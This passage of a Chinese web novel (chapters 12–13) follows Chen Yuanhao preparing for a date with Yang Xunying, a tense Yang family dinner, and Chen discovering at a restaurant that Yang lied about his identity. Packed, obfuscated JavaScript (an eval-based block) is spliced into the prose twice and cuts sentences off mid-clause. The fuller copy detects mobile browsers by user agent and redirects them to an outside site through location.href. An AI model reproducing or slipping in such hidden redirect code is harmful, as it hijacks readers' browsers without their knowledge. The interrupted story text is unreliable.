不过这时候陈远豪也不想琢磨这些烦心事,折腾了一天,实在累了。 他跟着杨峋英简单洗漱完,便一起进了卧室准备休息。 杨峋英坐在床边,目光落在陈远豪的手腕上。那圈被手铐勒过的地方泛着点红。 他没多说什么,转身从床头柜抽屉里拿出一瓶医用酒精和一包棉签,撕开包装。 陈远豪见状,随意道:“没事儿,这点红不碍事,不用管。” 可杨峋英没听,依旧捏着他的手腕没放,另一只手拿着蘸了酒精的棉签,在泛红的地方擦拭着。 12. 第 12 章 翌日下午,陈远豪坐在宿舍的书桌前,翻看着一本医疗器械专业书籍。他想着把这些研究明白,将来能有机会多赚些钱。 两个小时前,他把剩下的二十多万当作首付买了这套房子,现在兜里没剩几个子儿,又没有存钱的习惯,于是在招聘网上找了一份销售工作。 这份工作他早年便做过,且做得颇为出色。只是他从不懈怠,即便有过往经验打底,仍会特意抽出时间,不断学习新的行业知识与技巧,始终保持着对工作的热忱与精进之心。 “阿豪,昨天怎么没见你回来啊?”崔贤正给白刚打理发型,视线透过镜子落在陈远豪身上,语气带着点好奇。 陈远豪的目光从书页上抬起来。 昨晚杨峋英给他擦完药,两人便躺在一张床上歇息了。同盖一床被子。 陈远豪双目轻阖,明明困意上头,却怎么都睡不着。不知熬到什么时候才迷迷糊糊睡去,所以今日也就比平时晚起了许多。 他一睁眼,便见杨峋英正以手肘撑着脑袋,目光专注地望着他。 一大早上就近距离看到这张惊艳的脸,那眼神温柔又明亮,像夜空中璀璨的星星,看得他心头猛地一跳。 心情似乎也跟着变好了。 看杨峋英那模样,应该是早醒了,只是在静静等他醒来。 俩人一起洗漱、点了早餐,吃完后又去了一家能处理特殊锁具的维修店,把那副仿制手铐打开了。 走出维修店时,陈远豪的眼神左飘右晃。他在想,要不找个借口去旁边的步行街转转?或者说附近有家新开的咖啡馆不错? 满脑子都是没聊够的天、想拉着人多待一会儿的念头。 可刚走出店门,杨峋英就说有事先走,连一句多待一会儿的话都没提。 “有点事,去朋友家住了,”陈远豪漫不经心地说,眼底却掠过一丝滞涩,“总不能天天窝在宿舍。” 他心里像被什么东西堵着,说不上是失望,更像是一种莫名的空荡,那种不上不下的感觉让他有点烦躁,却又只能面无表情地压着,假装什么都没发生。 老爷们儿也没必要为这点屁大的事儿矫情。他深吸一口气定了定神,指尖重新落在书页上,继续翻看着书,可目光却半天没在一个字上稳住。 “完活儿,你们看看,这套出去约妹子怎么样?”崔贤把白刚的身子从椅子上转了过来,让他正对着这几个人。 陈远豪下意识转头一看,原本圆滚滚的身板被收拾得利落了些,松垮的卫衣换成了合身的西装,真显出几分精神,整的还挺像那么回事,扯了扯唇轻笑一声。 “怎么感觉你比以前高了?”于浩上下打量他一圈问。 “这你就不懂了吧,”白刚笑眯眯地说,“崔贤给我买的增高鞋垫。” “哦,怪不得总觉得哪里不对。”于浩不咸不淡地说。 “哪里不对?” “刚瞅着你后脚跟那截,像揣了个包子似的。” 白刚低头瞅了瞅自己的鞋,抬脚往崔贤那边假装踹了下:“都怪你买的垫太厚!” “嫌厚?有本事你别垫啊,自身硬件条件不行,脱了鞋垫怕是跟人家妹子一样高。” “放屁,我净身高175.8CM。” “你可听说过,胖子不显个儿吗?”崔贤撇撇嘴,“你瞅瞅阿豪这身高样貌,天生的衣架子,哪用得着整这些花里胡哨的。” 看到陈远豪,白刚像是突然想起什么,脸上堆起褶子似的笑,活像只讨食的胖猫,颠颠儿走过去,扫到他桌上那些看不懂的书籍:“净看这些天书有屁用,赶紧拾掇拾掇,陪哥去会会妹子。放心,回头给你也物色一个。” “相亲?”陈远豪挑眉,语气里带着点戏谑,“让我陪你?就不怕看上我把你给晾一边?” “哎呀,我知道你不会挖我墙角……” 白刚难得结巴起来,那张比增高鞋垫还厚的脸皮泛了点红。他搓着手坦白,说自己头回跟人约会,对象就是上次做SPA时给他按摩的姑娘,心里发慌,非得拉个人壮胆才行。这话说得磕磕绊绊,倒比平时那些油腔滑调显得实在些。 陈远豪想了想,反正晚上闲着也是闲着,权当遛弯了,便应了。 可是。 白刚都能往前冲,他总不能落了下风。用白刚的话说,“万一成了呢?”想要见一个人,不就得主动点么? 这一整天,陈远豪的手机屏幕亮了又暗,他盯着微信列表里那个熟悉的头像看了不下十几遍,可没等来一条新消息。 这家伙是把他忘了?明明昨天还亲得难分难解,这才过去几个小时,就断了联系? 尽管左思右想着,他却没主动找理由发消息,直到现在,才像是突然做了什么决定什么似的,摸过桌上的手机,滑开屏幕点开了杨峋英的微信。 指尖敲得飞快:【晚上有空没?出来玩玩?】 发送成功的提示弹出来时,他迅速按灭了屏幕,随手把手机放回桌上,转身去翻书,目光却时不时往屏幕瞟。 盼着立刻收到回复,又怕等来的是敷衍的拒绝。 没过一会儿,手机屏幕亮了。杨峋英回了:【八点之后有。】 这分明是盯着手机呢,就不知道主动找老子唠两句? 陈远豪轻嗤一声,秒回:【去不去XX烧烤?整两瓶冰啤酒。】 消息发出去,连他自己都没察觉,那点藏不住的期待,正顺着眼角眉梢往外冒。 很快,对方回了:【好的。】 陈远豪盯着屏幕上那两个字,嘴角忍不住往上翘,心里头跟揣了颗糖似的。 下次见面还不知道要等到什么时候,这次好不容易能聚上,不搞点花样怎么行? 于是,他翻出之前刷到的抖音视频,找了几家花店。 他不是随便选的,而是对比了七八家店铺的评分、翻看了几十张买家秀后,才挑出的这家口碑店。他只留够了俩人吃烧烤的开销,剩下的钱一分没省,全花在了这束花上,还特意加了加急费。 下好单,他去找崔贤,说是“随便整整,别太邋遢”。 不是什么正经约会,可好歹是见杨峋英,总不能还是平时那副随意模样。他自己也说不清这份心思从哪儿来,只觉得想让对方多关注两眼。 美妆达人崔贤一听就来了劲,拉着他往镜子前一坐,从陈远豪的衣柜里给他挑了一身黑色西装,又是扒拉头发又是调整衣领,没一会儿就弄出了个新造型。 “怎么样?”崔贤对着镜子扬下巴。 他给陈远豪弄了个侧分背头,额前碎发斜斜掠过去,露出饱满的额头,俊朗又精神。 崔贤还在旁边念叨,说他这脸型是老天爷赏饭吃,随便弄弄都好看,哪怕剃秃了都帅。 陈远豪抬手撸了撸头发,指尖划过刚定型的发胶。他向来着装干净整洁,却从没在打扮上花过心思,帅而不自知。 这会儿对着镜子东看西看,觉得自己好像不比电视里的男明星差。 “阿豪,我给不少人弄过造型,你这气质真是独一份的。” 陈远豪侧过脸,挑了挑眉,等待下文。 “冷冽、高级,又自带贵族般的疏离感,”崔贤比划着,“脸部骨骼线条偏向欧式立体感,棱角分明得像刀刻似的,偏生唇部又偏柔和,锋利里裹着点温软,看着让人觉得有距离,却又忍不住想靠近。” “对了,今儿个怎么突然讲究起来了?收拾得这么板正。” 陈远豪正对着镜子得意,压根没注意到崔贤的话。 过了几秒,躺在床上的于浩慢悠悠插了句:“男人突然间知道打扮了,一定是心里有人了。” * 司机将车停在XX餐厅门口,杨峋英一边推开车门,一边低眼回复着微信消息,指尖在屏幕上划过,末了勾了勾唇角。 摁熄屏幕,像是想起了什么似的,仍觉意犹未尽,唇角又轻轻扬了扬。 随手将手机揣进西装内袋,杨峋英往里走。 他今天去了趟墓园。农历七月十五是中元节,按习俗便去给母亲扫扫墓。刚忙完没多久,杨建成的电话就打了过来,让他赶去参加这所谓的“家庭聚餐”。 发生这么多事,还要一家人凑在一起演和睦戏码,粉饰那些早已烂透的太平,到底有什么意义? 想想都觉得荒唐可笑。 按时来陪他们唱完这出戏就是了,顺便把该拿的东西、该占的理,都一一夺回来。 他推开包厢门,杨建成、杨俊伟和柯露都提前到了。 那继母柯露脸上挂着温婉得体的笑,眼神却像藏着把冰棱,不动声色地往他身上剐;杨俊伟虽然也人模狗样地坐着,可依旧一脸不服气地瞪着他,眼底酝酿着风暴,像只被惹急的鬣狗,碍于在场杨建成这“持枪猎人”的威慑,才强压着没发作。 他们这一家子,像一口烧得滚烫的油锅,表面看着平静无波,底下早已沸反盈天,只等着谁先溅起火星子。 “峋英来了。”听到开门声,神色凝重、心情显然称不上好的杨建成敛了敛神色,抬眼看向他,声音不高不低,带着商人特有的沉稳。 目光在他身上扫了一圈,像是在审视一件精心打磨的藏品,随即开口道:“路上没堵车?坐吧。” 杨峋英在空椅上坐下,他温柔的声线自然而然地让父子间的交流多了几分轻松:“爸,路上稍有点堵,踩着点到的,没耽误大家吃饭吧?” 他目光不闪不避地在柯露和杨俊伟脸上转了一圈,体内的戾气刚要往上涌,就被他不动声色地压了下去。 露出一抹恰到好处的浅笑,温和得挑不出错处,像模像样地先朝柯露颔首:“柯姨。”又转向杨俊伟,淡然地说了声:“俊伟。” 这态度,就像这一个多月来一样,他对继母的尊敬、对继弟的关心全是发自肺腑一般。 没一会儿,服务员将精致的菜肴一道道上桌。 杨建成夹起一筷子刚上的广东菜心,翠色欲滴,根部还带着点嫩芽,一看便知是专人采购的时令鲜蔬。他慢悠悠地放进嘴里,目光落在杨峋英身上,带着几分看似慈爱的笑意:“我儿子这一个多月在基层盯着项目,把几个棘手的环节都理顺了。没想到从M国回来没多久,就能把这些杂事处理得这么妥帖。” 那声“没想到”,像根细针轻轻刺了下。杨峋英眼底飞快掠过一丝嘲讽,面上却依旧维持着恭顺,抬手夹了口菜,顺着话头接道:“爸过奖了,不过是按章程做事,能把事情办妥,也是托了公司老人的帮衬。” “我觉得二哥你呢,也不用在公司里耗着,”杨俊伟翘起二郎腿,往嘴里扔了块酱色的红烧肉,嚼得漫不经心,嘴角撇着抹讥诮,“你看看你,从小就惦记着当明星,现在朋友圈也净发些唱唱跳跳的玩意儿,一天到晚就知道玩乐。要不就让咱爸动用娱乐公司的人脉,给你包装包装出道得了。凭你这张脸就有一堆人愿意给你塞钱、愿意爬上你的床,犯得着在公司累死累活的?” “你闭嘴!”杨建成厉声喝止,压了半天的火气终于绷不住。 他瞪着眼前无法无天的小儿子,声音里全是恨铁不成钢的戾气,带着破釜沉舟的暴怒:“刚从警察局捞出来,还不长记性?非要这么无法无天,把天捅破了才甘心?” “我杨建成的儿子,居然上了北城商业晚报的头条!没半点商业头脑,子公司亏了好几个月;公司负面新闻满天飞;还敢在地下开赌场搞违法勾当!更蠢的是拆东墙补西墙,自以为瞒天过海,拿总公司的钱给子公司填窟窿。就你这点拙劣的手段,被人扒得底裤都不剩,全北城的人都看得一清二楚!你这是把我的脸按在地上摩擦!” “爸……”没料到父亲发这么大脾气。面对在这个家里拥有绝对话语权的父亲,出于本能的敬畏,他还是把剩下的话咽了回去,硬憋着没吭声。 杨峋英坐在一旁,眼底飞快掠过一丝玩味的笑意,像在看一场闹剧。他没说话,只是慢条斯理地夹了口菜,咀嚼的动作不紧不慢,仿佛眼前的争吵与他毫无关系,只一心等待着接下来要谈的正题。 杨建成缓了缓神色,深吸一口气看向杨峋英,语气重新归于平稳:“峋英,咱们杨家在北城盘桓了几十年,地产、餐厅、科技公司都占着一席之地,虽说不差一个子公司的盈亏,但终究是杨家的招牌。我这做父亲的,断没有让外人看咱家笑话的道理。你大哥主抓总公司,现在还在欧洲谈并购案,忙得脚不沾地。” 他顿了顿,目光扫过闷头不语的杨俊伟,话里带了几分敲打:“你三弟年纪太小,性子不定,在公司里确实没做出什么像样的成绩。所以我琢磨着,你这个二哥该为家里扛下一份担子。子公司我打算交给你打理,峋英,你有意见吗?” 杨峋英眼底划过一丝了然,这步棋本就在他的盘算之中,不过是时间早晚的事。他放下筷子,姿态透着几分郑重:“三弟年纪还小,慢慢历练总会有长进的。”爸既然信得过我,做儿子的自然没有推托的道理。大哥在外奔波,家里的事本就该多分担,我会尽力把子公司理顺,不辜负您的托付。” 杨建成的目光里多了些平日少见的情绪,带着几分复杂难辨的意味,他深深看着杨峋英说:“峋英,你以后多带着俊伟学些实务,你们是亲兄弟,你这个当哥哥的,总得多照顾弟弟。” 听到这话,杨峋英意味不明地微微一笑,看向杨俊伟:“俊伟要是有空,随时可以来找我,咱们一起琢磨琢磨,互相多些照应也好。” 这般滴水不漏,既显恭敬,又露担当,全然是副顾全大局的模样让杨建成很满意。他抬手,欣地慰拍了拍杨峋英的肩膀。 可杨俊伟蹙了下眉头。 他很意外,为什么一向对他颇为纵容、很多事情对他睁一只眼闭一只眼的父亲,会这么轻易地将子公司交给杨峋英管理。自己以前也没少闯祸啊。 但他没多想,只是心里不服气,更不甘心被这个二哥压一头,冷哼一声:“我怕是没时间,学校的课排得满,哪有功夫管公司那些破事。” 听着儿子和丈夫吵得厉害,丈夫又明显偏向继子,柯露脸上没什么表情,看不出半分情绪波动,恰到好处地打断了话题:“好了,俊伟,你二哥在国外学业有成,你爸让你二哥多指点指点你,也是为你好。” 暗暗给杨俊伟使了个眼神,视线转向杨峋英时,脸上堆起端庄温婉的笑,语气里裹着刻意的亲昵:“峋英,看你这身形清瘦的,快多吃点,补补身子才是。” 杨俊伟别过脸,嘴唇动了动,声音低得像蚊子哼,却带着淬了毒似的怨怼:“他回来捣什么乱,死在外面才好。” 这声嘟囔虽轻,却没逃过杨建成的耳朵。尤其那个“死”字,让他的心绪终于按捺不住,沉声道:“俊伟,我觉得,你应该和你哥哥道个歉。” “道什么歉?”杨俊伟嘴比脑子快,茫然地看看杨建成,又瞥了眼杨峋英。 杨峋英抬眼,迎着这对父子的目光。他眼里裹着点说不清的意味,摸着杯身的手指顿了顿,指腹极轻地在冰凉的玻璃上敲了两下。 他对杨建成接下来的话,心里大致能猜到个八九分。仿佛看一场编排太久的戏,终于演到了预设好的转折。 他早通过人脉查清,是柯露暗中找人要对他下手。于是将计就计,故意落入对方的圈套,被围堵时甚至强忍着疼没还手,就是要让自己“伤得不轻”。 他算准了杨建成得知亲儿子遭人暗算、身负“重伤”后,藏在心底多年的愧疚会彻底爆发。 如果不把事情闹大,他那个被全家宠上天的三弟,即便闯了滔天大祸,杨建成也不会真的下狠手让三弟长记性,最多挨几句训斥就翻篇了。 只有让父亲对他生出愧疚,他才能顺理成章地接过子公司,也才能让父亲与柯露产生隔阂。 这步棋虽险,却是能让他快速在杨家站稳脚跟的办法。 “我说最后一遍。”杨建成的目光像磨利的刀锋,不止扫过杨俊伟,屋里的每个人,他都似有若无地看了一眼,即便语调平和,却带着强烈的压迫感,“峋英是我杨建成的亲儿子,杨家的产业将来要分他一份,他的安危就是杨家的体面。谁如果动他,就是跟我杨建成过不去。” 杨俊伟听得云里雾里,眉头拧成个疙瘩,眼神里满是“这跟我有什么关系”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个多年来对他避而不见的父亲,这一年之内竟破天荒主动联系他多次。他回国这不到两个月,更是频繁召见,时常有意无意地对他流露关心,还总在言谈间言传身教,教他些商场上的门道。 说是反常,也不反常。 可太晚了,一切都太晚了。 晚到他的心,即便面对曾渴望多年的父爱,也早就硬如铁,剩下的,只有翻涌在心底的可笑、悲凉。 “对了峋英,跟你提个事,就是随口一说,你也别往心里去,也别有什么压力。” 杨峋英放下酒杯,抬眼看向他。 “乔家那小儿子,年纪跟你差不太多,我想着你们年轻人或许能聊得来,往后有空可以多走动走动,交个朋友。” * 陪白刚在餐厅吃饭的陈远豪,中途接到个电话,是他订的花到了。 出门找到跑腿的,接过那束用黑白香奈儿包装纸裹着的白玫瑰,花束边缘点缀着几支暗黑系尤加利叶,花瓣挺括饱满,透着刚从花房摘下的新鲜劲儿。 陈远豪指尖小心翼翼地碰了碰花瓣,心里那点情绪说不清道不明,有点忐忑,又有点抑制不住的美滋滋。 进了包厢,他坐到白刚旁边。看样子两人都吃饱了,白刚正眉飞色舞地跟对面小姑娘聊得热乎。 白刚瞥见他手里的花,眼睛一挑,诧异地道:“阿豪,认识你这么多年,头回见你摆弄这玩意儿。这是给谁准备的?” 陈远豪斜他一眼:“反正不是给你的。” 俩人瞎扯两句,白刚起身摸了摸裤兜:“走了,结账。”手刚揣进兜里,整个人突然跟被钉住似的僵了一瞬。 旁边的陈远豪立刻察觉到不对:“怎么了?” 白刚迅速松了手,脸上堆起惯常的油滑笑容,打哈哈道:“没事没事。”转头又冲那姑娘说,“小美啊,我老板临时喊我加班赶个项目,上市公司太忙了,真不好意思,送不了你了,回头我再联系你,你到时候想吃什么就跟我说。” 把姑娘送出门,白刚立马拽着陈远豪的胳膊往角落拖,跟要密谋什么大事似的。 陈远豪见他磨磨蹭蹭欲言又止的样,预感到了没好事。 “你……你带钱了吗?”白刚搓着手,眼神带点讨好。 “花光了。”陈远豪上下扫他几眼,像是猜到了什么,无语道,“你该不会是吃饭没带钱吧?没钱还敢来这种地方?不知道这里是北城出了名的高端餐饮场所吗?”早就知道这货不靠谱,没想到能离谱到这份上。他当时满心都在想着“约会”的事情,压根没留意跟着白刚进了这么一家店。 “小美想来这儿,我能说不吗?”白刚耷拉着脑袋装委屈,声音压得极低,“再说我哪知道这么贵……点菜时瞅着那数字,我这心就突突的。要不,咱们就……” “两位先生,结账在这边。”旁边的保安看他俩在门口鬼鬼祟祟,伸手朝前台比划了一下,语气里带着点警惕。 “来了来了。”白刚那点逃单的心思被戳破,只能硬着头皮往前台挪。 “一共5998元。”前台小姐姐笑容标准。 “多……多少?”白刚眼珠子差点瞪出来,声音都劈了。 “5998元,先生。” “就三盘青菜两盘肉,加个破汤,抢钱啊?”白刚一把扯过柜台上的消费清单,颠来倒去看了几遍,不认识字儿看不懂菜名,最后索性往桌上一拍。 陈远豪斜倚在吧台边,怀里还抱着那束玫瑰,听着这价格也觉得贵了点,但没打算扯皮。见白刚那副见了鬼的模样,故意逗他:“你们店里的那道山葵焗虾球,是镶了金边吗?一盘就要一千多?” 服务员小姐姐解释道:“我们这道山葵是从XX国静冈县空运过来的,当天现磨,口感和普通山葵完全不同。” 这家店本就靠环境和噱头抬价,主打高端氛围感,说白了就是给有钱人当社交场的。陈远豪挑眉,语气带着点混不吝的调笑:“进口来的就金贵?不都是绿乎乎的玩意儿吗?说什么味道完全不同,我也没吃出什么甜辣味来啊。” 服务员见他俩穿着打扮不像精英权贵,胖子那惊呆的模样也不像负担得起,八成是想找茬赖账,脸上的笑容没变,却阴阳怪气地回嘴:“是贵了点,可咱们这儿的盘子大啊,分量足。” 陈远豪嗤笑一声:“谁让你们上那么大盘子了?我们三个人,吃得完吗?” “这位兄弟看着吨位就不小嘛。”服务员的目光扫过白刚。 陈远豪勾唇笑得更加慵懒:“合着你们这儿按吨位上盘子?吨位越大盘子越大?那他这吨位,是不是得按猪饲料的标准上?” 白刚一听来了劲:“我吨位大但我饭量小!你们这是歧视!凭体重定义饭量,是你们的失职!”顿了顿,又嬉皮笑脸地讨价还价,“你看我们剩这么多,能不能打个折?” “抱歉先生,不行。” 服务员小姐姐懒得再继续胡扯了,目光直直地看向他们两个。 陈远豪见逗得差不多了,单手拿出兜里的手机看了眼时间,跟阿英约的时间快到了,也没心思再耗。凑近白刚,压低声音:“你不是有花呗吗?先顶上。” 可白刚哪有这觉悟:“别提了,花呗都快被我撸秃了,现在还欠着一屁股债呢。” 没等陈远豪再开口,白刚突然攥住他的手腕,跟按了启动键似的,拽着他就往门口冲:“快跑!” 这一下来得太突然,跟野猪那种蛮劲十足的突袭似的,陈远豪压根没反应过来,只能被他拖着往前踉跄。 “你脑子进水了?!”陈远豪下意识说。 “有人逃单——抓吃霸王餐的!”服务员的尖叫刺破餐厅的安静。 瞬间,四五个保安追了上来,战靴踩在地板上发出咚咚的闷响。 整个餐厅顿时炸开了锅,坐在一楼的客户纷纷转头看过来。 “放开老子,你不付老子付。”陈远豪觉得丢脸,压低声音道。 猛地挣开手,可惯性没收住,脚下一个趔趄,结结实实地撞在刚路过的男人身上。 13. 第 13 章 陈远豪脚下一个踉跄,整个人往前撞去。他怀里还捧着玫瑰,忙不迭地把花往身侧挪了挪,生怕花瓣被碰坏。 结果身体结结实实地抵上一片宽阔坚实的胸膛,那触感硬得像裹了层薄棉的铁块,震得他肋骨都微微发麻。 男人伸手迅速圈住他的腰,掌心扣在他后腰的布料上,力道不轻不重,刚好稳住他晃悠的身子。 两人险些脸贴脸撞在一起,陈远豪下意识摸了下鼻子,又嘟囔了句:“不好意思哈。” 顿了顿,他皱了皱鼻尖。 一股淡淡的雪松冷香漫进鼻腔,不是廉价古龙水的刺鼻味,是清清爽爽、又带着点距离感的味道。 这味道像是在他记忆里扎了根。 他猛地抬眼。 “你怎么在这?”陈远豪的声音顿了半拍,眼神里透着点没藏住的惊讶,连原本松散的站姿都直了点。 杨峋英的眼睫颤了颤,看向陈远豪精心换上的正装、精心打理的头发,眼神骤然一亮。 还没开口,陈远豪的视线扫到他身边,这一眼扫过去,他脸上的惊讶直接僵住了。 杨俊伟怎么也在? 更让他诧异的是杨俊伟旁边的男人。四十多岁的年纪,却丝毫没有中年人的疲态,身形高大挺拔,和阿英一样高,明显比其他男性高出一截,往那一站便自带久居上位的沉稳气场。 一身剪裁合体的深色西装衬得他肩宽腰窄,虽然乍一看长得不像,可稍加细察便会发现,其脸部骨相与阿英如出一辙的立体。 分明是父子相。 而那男人的眉眼,和杨俊伟几乎是一个模子刻出来的。 男人旁边还站着个女人,又是谁? 陈远豪强压下心中的疑惑,故作吊儿郎当地晃了下肩膀,漫不经心道:“你这是和上司一起来吃饭的?” 他这话刚落,就见杨峋英的脸色微不可察地顿了一下,眼底闪过丝极淡的不自然。但也就一瞬,又恢复了平时的平静。显然想好了该怎么圆这个场。 陈远豪微微眯起眼,没再说话,就这么看着他,等着他的解释。 一旁的杨俊伟在包厢里又生气又觉得被羞辱,早就憋了满肚子火,这会儿见陈远豪这幅样子,好像隐隐察觉到了什么。 嘴角勾起一抹促狭又带刺的笑,没等杨峋英开口就抢着打断:“这不是上次在赌场给我设局,帮我亲哥哥赢走我一千多万的街头混混吗?怎么着,这才几天,就又从哪坑蒙拐骗到钱了?都敢来这种地方吃饭了?” “不过,虽说呢,被你坑走一千多万,可那又怎么样?”杨俊伟说着,故意抬起手臂,搭在杨峋英的肩膀上,手指还轻佻地晃了晃,目光在陈远豪和杨峋英之间来回扫了圈,“我们可是亲兄弟,我哥的钱,将来肯定会花给我的?你说对不对啊,好哥哥?” “你和三少,你们是——亲兄弟啊。”陈远豪挑了挑眉,语气里带着点混不吝的散漫,先前护在胸口的手松了劲,没再把玫瑰抱得那么紧,任由花束松松垂在身侧。花瓣微微下坠,仿佛随时会坠落地面。 他抬眼看向杨峋英,眼神里藏着说不清道不明的意味。 “二哥,你看他这反应,”杨俊伟嘴角勾起一抹得意的笑,眼神里满是看好戏的玩味,“他好像压根不知道咱俩的关系啊?你可真行,能让个连你底细都摸不清的人,心甘情愿帮你扛下一千多万的事儿。” 他才不信,他这个二哥能有多大本事,不过就是个空有皮囊的花瓶,傲慢地看向陈远豪说:“说起来,你不是挺聪明的吗?怎么这次我随口说他是我家远方亲戚,你就这么轻易信了?” “果然,人呐,长得好就是占尽便宜,哪怕没什么真本事,也总有人上赶着倒贴帮忙,连底都不会查,生怕慢了一步就没机会讨好。” 这些话像根细针,猝不及防扎进陈远豪心里,瞬间传来一阵尖锐的刺痛。 他捏着玫瑰包装纸的指尖紧了紧,嘴角扯出一抹极淡的笑,那自嘲的意味却没到眼底。 可不就是杨俊伟说的这样?对方说什么他就信什么,连对方的背景都没去验证,就心甘情愿冒着得罪北城三少杨俊伟的风险,配合他赢下一千多万。 说起来,确实够傻的。 何止是傻,简直是蠢透了。 杨峋英的目光先落在了那束玫瑰上,眼底极快地掠过一丝异样。他抬眼看向陈远豪时,脸上已寻不到半分波动。 他不会在这个不是东西的三弟面前露半点软肋。 他也明白,此刻绝不能暴露他和陈远豪的配合。杨俊伟向来不把他放在眼里,先前一路上更是明里暗里给他不少绊子,本就心胸狭隘、爱记仇。如果让他坐实当初是自己和陈远豪合伙“坑”了他,必然不会放过陈远豪,必然会转头报复。 杨峋英缓缓勾起唇角,笑容依旧是平日里的温柔魅惑,仿佛眼前谈论的不是什么要紧事,只是无关痛痒的闲聊:“俊伟,我交朋友只看合不合心意,至于我的身份底细,本就不是非对人言明不可的事。更何况,我与这位先生本就不算熟络,先前赢那一千多万,纯是我自己手气好,和旁人没半分关系。” 这轻飘飘的话,却像块重重的石子砸进陈远豪心里,溅起满是自嘲的涟漪。 原来,上心的只有自己。 人和人之间的信任,往往就像一层薄纸,一旦被戳破,再想修补就难了。先前如果有人对你动了欺骗的心思,如今又当着众人的面刻意拉开距离、撇清关系,那答案再明显不过——你在他心里,根本没占到半分分量,连被认真对待的资格都没有。 这种刻意的疏离,比直白的拒绝更伤人,因为它明晃晃地告诉你,你所谓的“交集”,在对方眼里不过是随时能抹去的痕迹。 陈远豪深深吸了口气,半点窘迫也不肯露,带着点混不吝道:“二少说得是,咱们确实不熟。我就是个无足轻重的小人物,不过是跟着凑个热闹,陪着你们玩个乐罢了。” 杨峋英听着这话,垂在身侧的手指几不可察地蜷了下,眼底飞快掠过一丝复杂的情绪。没等那情绪多停留片刻,就被他稳稳压了下去。 他余光扫过一旁的杨建成,父亲始终神色平静,眼神里却藏着几分洞明。 又看向杨俊伟,轻笑道:“俊伟,长得好看本就是种优势,难不成这也要算错?”顿了顿,“哥哥自然得对弟弟好,我的钱,将来自然少不了你的份。不过三弟还是少提些输钱的事为好,爸刚费了心思把你从警局接出来,总不好再让他为这些旧事分心,你说对吗?” “建成,司机还在外面等着,咱们该走了。”柯露适时开口打断,目光落在杨俊伟身上。杨俊伟嘴角撇着,一脸不服气的模样,显然还想再怼几句。 她不动声色地给了他一个眼神,又放缓了语气:“这里毕竟不是畅聊的地方,有什么想和朋友聊的,往后有的是时间。你们说对吧,俊伟?还有——峋英。” 峋英? 这两个字像声不大不小的闷雷,猝不及防炸在陈远豪耳边。 难道他叫……杨峋英? 江逸英。杨峋英。 陈远豪心里泛起一阵冷笑。 男人的嘴是骗人的鬼,撒起谎来,连名带姓都不要了。 再抬眼时,杨峋英已走到门口。 对方转了身,目光轻轻扫过他,还在他身侧垂落的那束玫瑰上顿了下。 那眼神很淡,像风吹过水面,没留什么痕迹,却让他心里又沉了沉。 “先生,麻烦您结下账。”旁边等候许久的服务员终于开口,声音不大,却把陈远豪从那阵混杂着自嘲与失落的情绪里拽了出来。 他抬眼就对上服务员的目光,那眼神里藏着点打量,还带着丝若有若无的鄙夷。显然是把他当成想蹭单溜走的人了。 陈远豪扯了扯嘴角,苦笑一声。很快,拖着吊儿郎当的腔调道:“你可别冤枉我。刚才那胖子才是跑单的主儿,我跟他可不是一伙的。再说了,你们家菜味儿不错,我以后还想来呢,可别把我拉黑名单啊。” 说完,他摸出手机打开支付软件,用花呗替白刚结了账。 把手机揣回兜里时,低头瞥见那束玫瑰,看着格外多余。 他纠结了几秒,还是把花拎着,走出了餐厅。 陈远豪漫无目的地走在街边,脚步慢悠悠的,眼神却有些发空。 脑子里像过电影似的,把他和杨峋英见的四次面翻来覆去地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305423|182815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 人在不被感性左右的时候,思路会清晰得很。 第一次见面,杨峋英说自己只是D公司的普通员工。当时他拿走了自己“偷”来的财报原始数据,还说会帮他保密。 可后续怎么样了? 他现在,心里有了答案。 怎么会那么巧,第二天那些财务数据就全暴露在公众面前? 第二次是一起玩牌,他当时绞尽脑汁帮对方赢钱,甚至把自己的安全置之度外。 现在回头想,杨峋英那会儿露出的犹豫、迷茫与无措,根本就是装出来的。他把桌上所有人都算进了局里,连警察什么时候来都掐得准准的,最后一举翻盘,把钱连本带利赚了回去。 而自己,不过是他计划里帮衬的棋子。 第三次在酒吧,他还杞人忧天地担心杨峋英会被杨俊伟报复,自作多情要了人家的联系方式。 可现在才反应过来,当时杨峋英话里话外都在暗示“麻烦可能要来”。要是真怕杨俊伟,他根本不会给出模棱两可的回答。 可自己呢,偏偏把那模棱两可的态度,当成了他的顾虑。 第四次更荒唐,他独自一人跟着杨峋英去荒郊野外,挨了好几铁棍,还差点冻成冰棍,小命差点丢了。 可怎么就那么巧,眼看是近乎深陷危机的死局,梁世宇却像从天而降般出现了? 现在想想,这说不定也是杨峋英布的局,而自己竟愚蠢地主动踩了进去。 当初自己推开门闯进工厂,面对一群□□的时候,杨峋英大概在心里嘲笑,这世界上怎么还有这么傻的人? 处处都是谎言和算计。 到底还有什么是真的? 到底还有什么是真的?? 陈远豪停下脚步,目光沉了沉,深不见底的眸子里裹着层化不开的痛意。 陈远豪傻吗?其实他一点都不傻。相反,他才十九岁,却在社会上摸爬滚打多年,见多了人心复杂,防范意识比同龄人强上太多。 先前,他不是没有怀疑过杨峋英。 哪怕对方把“普通员工”的表象装得再完美,哪怕他没能看穿所有猫腻,也绝不会连一处破绽都察觉不到。 按说,只要反应过来其中一处不对劲,接下来就该顺理成章地提起警惕,把所有可疑之处串起来琢磨。 可他偏没有。 他犯的最蠢的错,就是明明心里飘起过疑虑,却总下意识地把那点怀疑压下去,不肯往深了想。就像明知前面可能是条岔路,却仍心甘情愿跟着杨峋英的脚步走。 他长长叹了口气,抿了抿嘴唇。 